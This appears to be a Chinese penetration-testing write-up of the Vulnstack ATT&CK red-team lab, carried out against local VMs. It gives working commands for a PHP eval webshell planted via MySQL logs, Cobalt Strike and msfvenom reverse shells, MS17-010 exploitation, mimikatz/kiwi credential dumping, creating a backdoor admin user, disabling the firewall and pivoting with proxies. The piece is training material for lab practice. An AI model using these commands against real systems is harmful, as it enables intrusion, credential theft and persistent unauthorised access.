ATK&CK红队评估实战靶场(一)

前言

靶机详细信息

1
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

环境搭建

环境拓扑图

image-20221227163019732

攻击机kali 和 靶机都通过 Vmware 进行部署。

添加虚拟网卡

靶机内网设置的都是静态id,网段是在192.168.52.0,所以需要先添加一个虚拟网卡,将子网地址设置为192.168.52.0,用来管理靶机内网,我这里创建的是Vmnet2

image-20221222094006968

通过拓扑图可以知道,kali 、物理机和靶机的win7的外网网卡在 172.20.10.0,这个网段是通过Vmnet8虚拟出来的, 而 win7的内网网卡 、域控服务器 windows server 2008和win 2k3 在 192.168.52.0这个网段。

所以,这里只需要在vmware给kali 连接方式设置为Vmnet8,win7添加两张网卡,分别添加 vmnet8vmnet2,其余靶机添加 vmnet2即可。

攻击机 kali

1
IP: 172.20.10.128

WEB服务器 windows 7

1
2
外网IP:172.20.10.156
内网IP:192.168.52.143d

禁用PING检测

1
IP:192.168.52.138

域成员服务器 Win 2k3

1
IP:192.168.52.141

外网打点:web服务器

信息收集

主机发现

首先,我们需要知道那些ip存活,扫描C段,

1
2
3
sudo netdiscover -i eth0 -r 172.20.10.0/24
# -i 指定网卡
# -r 指定网段
image-20221222101009671
端口扫描

通过扫描c段,我们发现了 172.20.10.156 主机存活,接下来对其进行端口扫描

1
2
3
4
5
6
sudo nmap -sS -Pn -p 1-65535 -sV -n 172.20.10.156
# -sS SYN扫描
# -Pn 跳过主机发现(适合禁用PING检测的时候对目标进行端口扫描)
# -p 指定端口(指定全端口的时候 速度会比较慢)
# -sV 探测服务版本信息
# -n 不做dns解析
image-20221222110350911

通过nmap扫描结果,可以知道目标主机开放了 803306端口,分别对应 http服务和mysql服务

接下来访问目标主机的http服务

1
http://172.20.10.156/
image-20221222110612688

一个phpstudy的展示页面,泄露了一些服务器的信息。

目录扫描

网页比较简陋,但是泄露了大量的服务器隐私信息,接下来使用 dirsearch工具扫一下目录

1
python3 .\dirsearch.py -u "http://172.20.10.156/"
image-20221222111021767

发现网站目录下存在多套网站系统 ycmsphpmyadmin,phpmyadmin 可能会存在历史漏洞,接下来访问phpmyadmin看看

image-20221222111245971

漏洞利用:弱口令

尝试弱口令 root/root

image-20221222111417853

成功进行后台管理页面,但是没有发现phpmyadmin的具体版本号。

不过可以结合phpstudy的展示页面泄露的网站绝对路径,尝试使用phpmyadmin在线执行sql语句的功能进行sql写马。

漏洞利用:myql 写马(失败)

1
Select '<?php eval($_POST["cmd"]);?>' into outfile 'C:/phpStudy/WWW/cmd.php';
image-20221222112112963

报错了,这是因为限制了导入与导出的目录权限。只允许在规定的目录下才能导入。

查看变量secure-file-priv 的值

1
show global variables like '%secure%';
image-20221222112331468

值为 NULL

1
2
3
4
5
(1)NULL,表示禁止。

(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。

(3)如果为空,则表示不限制目录。如果为 NULL 则只读无法修改

那就换一种方式

漏洞利用:全局日志写入shell

查看全局变量general_log
1
show global variables like '%general_%';
image-20221222112553717
开启全局日志并修改日志保存位置
1
2
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/cmd.php';
image-20221222112725567
image-20221222112732973
将一句话木马写入日志
1
select "<?php eval($_POST['cmd']);?>"
image-20221222112810338

访问

1
http://172.20.10.156/cmd.php
image-20221222112929568

成功写入,使用蚁剑连接

image-20221222113131281

成功拿到一个shell

权限维持

使用cs进行权限维持

我们这里使用cobalt strike 进行上线

首先,我们在kali中启动一个 cs服务端

1
sudo ./teamserver 172.20.10.128 fany
image-20221222113638808

然后启动一个客户端,并连接

1
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike.jar
image-20221222113822400

创建一个监听器

image-20221222114012459

生成一个 powershell 的payload

image-20221222114158220

得到一个 txt文件

image-20221222114328565

接下来在蚁剑的虚拟终端中执行 文件中这一串payload

image-20221222114449982

接下来回到 cs 客户端中,发现成功上线

image-20221222114526286

提权

接下来使用cs自带的工具进行提权

image-20221222114722990

选择刚刚创建的监听器

image-20221222114806973
image-20221222114839141
image-20221222115106848

成功提权到system,已经成功拿下这台靶机。

我们还需要打入内网,接下来对该主机进行信息收集

主机信息收集

通过查看网卡信息,发现内网网段

image-20221222115849639
内网网段
1
192.168.52.0
image-20221222130022899
收集域信息(由于靶机上的phpstudy启动报错,http服务无法启动,无法通过蚁剑收集域信息,所以这部分信息通过msf的shell收集)

1
god.org
image-20221222162422208

通过域名,我们可以拿到域控的IP为 192.168.52.138

查看域内所有用户列表

1
net group /domain
image-20221222162217956

查看域成员计算机列表

1
net group "domain computers" /domain
image-20221222162519758

查看域管理员用户

1
net group "domain admins" /domain
image-20221222162550834
主机密码收集
image-20221222144021882
image-20221222144103694

得到Administrator的密码为hongrisec@2019

开启远程桌面登录
1
2
注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
image-20221222144423896

成功开启,结合刚刚获取到的用户名密码,进行远程登录

image-20221222144625113

发现连不上,可能是防火墙开启的原因,关闭防火墙

1
netsh advfirewall set allprofiles state off
image-20221222144850557

再次连接成功

image-20221222153423547

在桌面发现nmap工具,可以使用nmap对内网网段进行主机发现,也可以使用其他工具,这里我们使用fscan

内网信息收集

已经可以远程登录到win7这台靶机,接下来通过该靶机上传一个fscan对内网网段进行扫描。

1
fscan.exe -h 192.168.52.1/24
image-20221222154656945

通过fscan扫描,可以得知,除当前靶机外的ip地址 192.168.52.143外 还存在另外两个ip地址

1
2
192.168.52.138 
192.168.52.141

fscan检测出这两个ip 都存在 ms17-010漏洞,可以通过msf的漏洞利用模块进行进一步利用,但是我们 kali 和这两台靶机的不在同一个网段,路由不可达,所以,我们需要通过win7靶机做一个跳板。

思路:通过cs派生一个shell给 msf,然后通过msf 添加一条 可通过 192.168.52.0网段的路由,最后通过 msf的 ms17-010漏洞利用模块进行利用。

横向移动准备

cobalt strike 派生shell 给 msf(失败)

首先在msf上配置一个监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9999
run -j
image-20221222155930169

然后在 cobalt strike 上创建一个IP和端口跟MSF一样的监听

选择刚刚的创建的监听器
image-20221221113619749

几秒钟后 msf 获取到一个shell

image-20221221113727385

注意这里通过CS派生出来的shell存在一个问题,隔几秒钟之后就会断掉。

image-20221222160328406

手动上线

通过CS派生出来的shell很容易掉,所以这里我们直接生成一个exe的木马,上传到win7 上执行

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.128 LPORT=4455 -f exe > system.exe
image-20221222160758859

接下来 在msf开启监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4455
exploit -j
image-20221222161015682

将生成的system.exe拷贝到 靶机 win 7 中执行

成功上线

image-20221222161247275

添加路由

1
route add 192.168.52.0 255.255.255.0 2
image-20221222161359509

内网渗透:域控服务器

通过前面的准备,我们的MSF的流量已经可以通向192.168.52.0这个网段。

接下来,我们对 52.13852.141 这两个ip 进行MS17-010漏洞利用,在对域god.org进行解析的时候,发现对应的ip为192.168.52.138,此IP很可能是域控。

永恒之蓝漏洞利用

接下来,使用MSF进行利用

搜索ms17-010利用模块

1
search ms17-010
image-20221222162927847

不确定目标靶机的版本信息,先使用auxiliary/scanner/smb/smb_ms17_010 检测一下

image-20221222163112090

可以确定存在 MS17-010漏洞,靶机的操作系统为 Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64

使用 exploit/windows/smb/ms17_010_eternalblue 模块进行利用

payload windows/x64/meterpreter/bind_tcp

image-20221222163707833

利用失败了

使用 exploit/windows/smb/ms17_010_psexec模块

payload windows/meterpreter/bind_tcp

image-20221222164341491

同样利用失败,猜测是目标靶机开启了防火墙。

使用 auxiliary/admin/smb/ms17_010_command 模块 执行命令

执行 whoami

image-20221222164736263

可以成功执行命令,通过执行命令的方式来关闭防火墙。

1
netsh advfirewall set allprofiles state off
image-20221223113811545

再次使用 exploit/windows/smb/ms17_010_eternalblue 模块进行利用

image-20221223114301139

依旧失败

使用 exploit/windows/smb/ms17_010_psexec模块

image-20221223114825577
image-20221223114849048

成功得到system shell

后渗透

使用后渗透工具kiwi
1
2
load kiwi # 加载
creds_all # 列举所有凭据
image-20221223115022167

拿到 liukaifeng01用户的密码hongrisec@2022

开启远程桌面
1
run post/windows/manage/enable_rdp
image-20221223115144600
使用kali自带的rdesktop连接
1
rdesktop 192.168.52.138

注意 当我们使用rdesktop去连接 192.168.52.0 这个网段是连接不上的,在MSF中添加的路由,只适用于MSF中。

使用MSF+proxychains4进行内网流量转发

使用 auxiliary/server/socks_proxy 开启 socks5服务

image-20221223115915889

配置 proxychains4

1
sudo vim /etc/proxychains4.conf
image-20221223120013647
1
proxychains4 rdesktop 192.168.52.138
image-20221223141444653

用刚刚获取到的用户成功登录

image-20221223141618318

至此,拿下来域控

内网渗透:域成员服务器

通过fscan扫描,可以知道这两台靶机都存在ms17-010漏洞,接下来通过,MSF对另一台靶机192.168.52.141进行漏洞利用。

永恒之蓝漏洞利用

使用 exploit/windows/smb/ms17_010_psexec模块进行漏洞利用

image-20221223145702401

经过多次尝试,一直无法成功利用

尝试使用 auxiliary/admin/smb/ms17_010_command 执行命令

image-20221223150109549

可以成功执行命令

接下来的利用思路利用该模块是创建用户,开启3389远程登录上去

首先set command net user faany "hongrisec@2022" /add添加用户(注意 这里如果密码设置太简单,是不会创建成功的,我也是踩坑多次才发现)

image-20221223151412473

然后 set command net localgroup administrators faany /add添加管理员权限

image-20221223151453748

set COMMAND net localgroup administrators 查看管理员组用户

image-20221223151550986

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'执行命令开启3389端口

image-20221223151651357

远程桌面连接

1
proxychains4 rdesktop 192.168.52.141
image-20221223152416907

成功拿下

相关知识点

内网主机发现几种方式

1
proxychains4+nmap (比较慢)

msf模块

1
post/windows/gather/arp_scanner(比较快)

fscan(比较快,还可以扫描漏洞)

远程桌面登录命令

1
2
3
4
5
注册表开启  3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙
netsh advfirewall set allprofiles state off

靶机执行命令回显乱码

1
chcp 65001

frp 开启socks5代理服务

服务端(linux)

配置

frps.ini

1
2
[common]
bind_port = 7000

启动

1
./frps -c frps.ini
image-20221220221418092

客户端(windows)

配置

frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 172.20.10.128 # 服务端ip
server_port = 7000

[socks5]
type = tcp
remote_port = 8088
plugin = socks5

启动

1
frpc.exe -c frpc.ini
image-20221220221316677

使用Proxifier测试

image-20221220215841440
image-20221220215913064

成功

通过 msf ms17-010 执行命令 创建用户并开启远程桌面

set command net user fany p@ssword! /add添加用户

set command net localgroup administrators fany /add添加管理员权限

set COMMAND net localgroup administrators 查看管理员组用户

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'执行命令开启3389端口

set command netsh firewall set opmode mode=disable 关闭防火墙

后渗透:利用msf模块开启远程桌面

run post/windows/manage/enable_rdp

后渗透攻击kiwi用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

总结

通过外网的web服务器利用mysql写马到全局日志拿到一个webshell权限,再通过cs自带的提权工具进行提权,拿到靶机的root权限,因为做代理,MSF做代理要方便些,就通过MSF来管理shell,最后通过永恒之蓝漏洞拿下内网的两台靶机,整个过程都不是很难,通过这个靶场也学到了渗透后一些信息收集的方式以及后渗透工具的利用,再打的时候,靶机ip会自动更换,导致常常拿到的shell总是掉,然后还需要重新生成马儿来拿shell,这点会很烦,有点考验耐心。

参考文章

ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程

https://blog.csdn.net/qq_41821603/article/details/109948920